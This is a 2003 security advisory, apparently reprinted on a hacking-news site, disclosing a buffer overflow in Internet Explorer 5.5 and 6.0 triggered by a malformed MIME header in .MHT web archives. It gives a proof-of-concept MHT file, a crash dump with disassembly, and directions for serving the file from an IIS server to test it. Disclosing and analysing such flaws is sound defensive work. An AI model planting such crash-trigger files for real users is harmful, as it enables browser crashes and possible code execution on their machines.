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Home » Hacking News » .MHT Buffer Overflow in Internet Explorer

.MHT Buffer Overflow in Internet Explorer

by Nikola Strahija on March 12th, 2003 There is a potential security breach found when used with encoded executable along with malformed MIME header in the 'Web Archive'. If the encode data is executable or has a single word "MZP" encoded within and Content-Type is not designated, IE5 will be terminated by critical buffer overflow.Consequently, one could compromise the client pc by executing malicious code in the memory.


SUMMARY:

IE5 introduced the new 'Web Archive' format for storing web pages, which
have the extension MHT. The 'Web Archive' saves a web page as a single
document complete with all images. The format is a standard
mime/multipart e-mail message, a mime decoding program such as 7bit, 8bit
and Base 64 decoder should be able to turn it into something usable with
your OS and browser of choice.

This format is pretty nifty and usable, however, there is a potential
security breach found when used with encoded executable along with
malformed MIME header in the 'Web Archive'. If the encode data is
executable or has a single word "MZP" encoded within and Content-Type is
not designated, IE5 will be terminated by critical buffer
overflow.Consequently, one could compromise the client pc by executing
malicious code in the memory.
==========================================================================
====
AFFECTED SYSTEM:

Microsoft Internet Explorer 5.5 and 6.0; prior versions are not
vulnerable.
==========================================================================
====
ANALYSIS:

RFC822 describes the structure of message header used for the MIME. The
followings are some of the identifiers defined for the MIME header.

@MIME-Version:
@Content-Type:
@Content-Trasfer-Encoding:
@Content-ID:
@Content-Description:

The 'Content-Type' is used for defining the types of media transfered.
The 'Web Archive' format utilizes the Multipart/Related content-type
(defined in RFC2387) to properly embed the multiple web content files. As
described in RFC2387, the Multipart/Related content-type provides a
common mechanism for representing objects that are aggregates of related
MIME body parts. When tranferring html or plain text data encoded in
the 'Web Archive', IE5 interprets as a plain text with 'carriage return'
code(0D0A) , otherwise as binary data without 'carriage return' code
(0D0A). By manipulating the MIME header structure and the Base64 encoded
data as an executable,4 bytes of memory can be overwritten.


PROOF OF CONCEPT:

The following format is usually used for the Web Archive.
----------------------------------------------
From:
Subject: =?iso-2022-jp?B?
GyRCJT0lVSVIJSYlJyUiJVclbSVAJS8lSBsoQiBIb21lUGFnZQ==?=
Date: Tue, 4 Mar 2003 02:16:23 +0900
MIME-Version: 1.0
Content-Type: multipart/related;
boundary="----=_NextPart_000_0000_01C2E1F4.0D559EA0";
type="text/html"
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106

This is a multi-part message in MIME format.

------=_NextPart_000_0000_01C2E1F4.0D559EA0
Content-Location:file:///tomatell.exe
Content-Transfer-Encoding: base64

TVpQ
----------------------------------------------


The following sample format contains malformed MIME header along with the
Base64 encoded executable.
----------------------------------------------
MIME-Version: 1.0
------=_NextPart_000_0000_01C2E1F4.0D559EA0
Content-Location:file:///tomatell.exe
Content-Transfer-Encoding: base64

TVpQ
----------------------------------------------

Note that the encoded string, "TVpQ", is the Win32 EXE signature located
at the first three bytes of the EXE header. This is for the Win32 system
to identify the data as a Win32 executable file. IE5 somehow reads this
signature and interprets the data as an executable whereas the MIME
encoder/decoder module,'inetcomm.dll', decodes as a plain 7 or 8 bit text
data. Thus, IE5 creates a stream with a smaller buffersize than that of
Base64 decoder has.


The following error will occur when the above file is browsed by IE5.

Unhandled exception in iexplore.exe: 0xC0000005: Access Violation.



By debugging through the crash dump, the exception error is generated at
the EIP(32-bit Instruction Pointer)=74CF497E called from inetcomm.dll to
Kernel32.

Register
EAX = 00000000 EBX = 05AD3A20 ECX = 001FE074 EDX = 001FE190
ESI = 05AD39D8 EDI = 00000000 [EIP = 74CF497E] ESP = 0607B2BC
EBP = 0607B2FC EFL = 00000246


KernelObjectsCritSecOutOfMemoryEvent

74cf494c ff157412cd74 call dword ptr
[KERNEL32.EnterCriticalSection]
74cf4952 834e3c02 or dword ptr [esi+3c],+02
74cf4956 33ff xor edi,edi
74cf4958 397e1c cmp dword ptr [esi+1c],edi
74cf495b 743f jz 74cf499c
74cf495d 397c2410 cmp dword ptr [esp+10],edi
74cf4961 8bce mov ecx,esi
74cf4963 7d06 jnl 74cf496b
74cf4965 ff742410 push dword ptr [esp+10]
74cf4969 eb25 jmp short 74cf4990

74cf496b c746441f000000 mov dword ptr [esi+44],0000001f
74cf4972 e888f3ffff call 74cf3cff
74cf4977 3bc7 cmp eax,edi
74cf4979 7c12 jl 74cf498d
74cf497b 8b461c mov eax,dword ptr [esi+1c]
74cf497e 8b08 mov ecx,dword ptr [eax] //Exception


You could test the vulnerablity by copying above exploit to a file with
an extention ".mht" and place it at the default root directory of IIS web
server and set it as a default html of the server.

WORKAROUND:
Currently none available.

Credit:
Tom Tanaka


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